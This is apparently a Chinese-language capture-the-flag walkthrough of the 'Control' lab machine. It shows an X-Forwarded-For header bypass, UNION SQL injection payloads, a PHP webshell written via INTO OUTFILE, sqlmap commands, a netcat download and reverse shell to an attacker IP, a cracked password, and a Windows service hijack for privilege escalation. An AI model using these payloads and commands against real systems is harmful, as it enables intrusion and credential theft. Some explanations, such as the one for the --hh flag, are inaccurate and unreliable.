Control
nmap扫描端口HTTP(TCP 80)、MS RPC(135)和 MySQL(3306),
访问80
对HTTP头进行FUZZ
爆破一下目录和查看功能点
查看源代码
在 Web 根目录的源代码顶部有一个注释块:
<!-- To Do: - Import Products - Link to new payment system - Enable SSL (Certificates location \\192.168.4.28\myfiles) <!-- Header -->
这暗示主机 192.168.4.28 上有东西
该页面说我需要通过代理,并且缺少标头。我发现此页面包含 HTTP 标头列表,并将该列表提取到文本文件中
现在我将用它来wfuzz
看看添加这些是否会改变任何东西。我运行了一次没有的,发现有关无法访问的消息有 89 个字符,因此我将添加--hh 89
到命令的末尾。最初我使用主机IP运行它:
root@kali# wfuzz -c -w headers -u http://10.10.10.167/admin.php -H "FUZZ: 10.10.10.167" --hh 89
--hh 89
:通过 HTTP 响应代码过滤响应,在本例中,仅显示状态代码为 89 的响应。
“X-Forwarded-For”上的 HTTP 200 返回 7933 个字符当然很有趣。我下载了一个名为“修改标头值”的 Firefox 插件(我以前没有这样做的东西,这个还可以,但如果你有更好的工具,请发表评论),并将其设置为添加“X-Forwarded” -For” 控制头:
刷新后可以访问admin.php页面了
也可以利用bp设置
sql写文件反弹shell
有个输入框,尝试' 报错了,开始注入试试
手工
sql注入备忘表MySQL SQL Injection Cheat Sheet | pentestmonkey 记得回来看
' UNION select 1,2,3,4,5,6#
' UNION select @@version,user(),database(),4,5,6#
' union select schema_name,2,3,4,5,6 from information_schema.schemata#
查看三个数据库
查看它的表productName=Asus' union select table_schema,table_name,3,4,5,6 from information_schema.tables where table_schema != 'mysql' AND table_schema != 'information_schema'#
这些表中没有什么有趣的东西
' UNION select host,user,password,4,5,6 from mysql.user# 获得一些hash
看看不同用户的权限
' union select table_schema,table_name,3,4,5,6 from information_schema.tables where table_schema='information_schema'#
' union select grantee,privilege_type,is_grantable,4,5,6 from information_schema.user_privileges#
当前的用户拥有 FILE priv,我将在盒子上编写一个 webshell。我将发出以下 POST,它应该打印出 webshell:
productName=Asus' union select '<?php system($_GET[\'cmd\']); ?>',2,3,4,5,6#
它确实写了我想要的内容,但毫不奇怪,它不会执行它,因为它只是作为文本打印到屏幕上
现在,我可以运行相同的 SQL 命令,但这次将其写入文件,并猜测默认的 IIS 路径:
productName=Asus' union select '<?php system($_GET[\'cmd\']); ?>',2,3,4,5,6 into outfile 'c:/inetpub/wwwroot/aaa.php'# 第一次返回错误,第二次说文件已经存在
curl '10.10.10.167/aaaa.php?cmd=powershell+wget+http://10.10.16.3/nc64.exe+-outfile+\windows\temp\nc.exe'
curl -s 'http://10.10.10.167/aaa.php?cmd=whoami'
反弹
curl '10.10.10.167/_0xdf.php?cmd=powershell+wget+http://10.10.14.4/nc 64.exe+-outfile+\windows\temp\nc.exe'
sqlmap写shell
sqlmap -u http://10.10.10.167/search_products.php --headers="X-Forwarded-For: 192.168.4.28" --data="productName=1" --dbms=mysql --dbs
sqlmap -u http://10.10.10.167/search_products.php --headers="X-Forwarded-For: 192.168.4.28" --data="productName=1" --dbms=mysql --users
sqlmap -u http://10.10.10.167/search_products.php --headers="X-Forwarded-For: 192.168.4.28" --data="productName=1" --dbms=mysql --passwords
看用户有什么权限
sqlmap -u http://10.10.10.167/search_products.php --headers="X-Forwarded-For: 192.168.4.28" --data="productName=1" --dbms=mysql --privileges
试试可不可读取index.php的文件
sqlmap -u http://10.10.10.167/search_products.php --headers="X-Forwarded-For: 192.168.4.28" --data="productName=1" --dbms=mysql --sql-query="select load_file('c:\inetpub\wwwroot/index.php');"
尝试写文件
sqlmap -u http://10.10.10.167/search_products.php --headers="X-Forwarded-For: 192.168.4.28" --data="productName=1" --dbms=mysql --file-write=kali中的写的webshell --file-dest="c:\inetpub\wwwroot\xxx.php"(写入靶机的文件,名字随便)
密码重复如何利用powershell提权
利用hashcat破解上面的得到的hash值
hashcat -m 300 hashes --user /usr/share/wordlists/rockyou.txt --force
l33th4x0rhector
可能会有重复使用密码的情况
现在我将创建一个凭证对象:
PS C:\> $env:ComputerName CONTROL PS C:\> $username = "CONTROL\hector" PS C:\> $password = "l33th4x0rhector" PS C:\> $secstr = New-Object -TypeName System.Security.SecureString PS C:\> $password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)} PS C:\> $cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $username, $secstr
现在我将使用Invoke-Command
hector 来运行命令,它可以工作:
PS C:\> Invoke-Command -Computer localhost -Credential $cred -ScriptBlock { whoami } control\hector
由于某种原因,赫克托无法访问nc.exe
我上传到的\windows\temp
,但我将上传另一个副本,然后运行它:
PS C:\> wget 10.10.14.4/nc64.exe -outfile \windows\system32\spool\drivers\color\nc64.exe PS C:\> Invoke-Command -credential $cred -ScriptBlock { \windows\system32\spool\drivers\color\nc64.exe -e cmd 10.10.14.4 443 } -computer localhost
rlwrap nc -lnvp 443
提升root(查看powershell历史文件)
我们看到两个 powershell 命令用于注册表,因此我们使用以下命令来获取用户 Hector 拥有 FullControl 的服务
get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "hector Users Path Everyone"
于我们看到很多服务,我们使用 wuauserv 服务,即 Windows Updater 服务
这里我们劫持了该服务并将其更改为为我们运行netcat
kali监听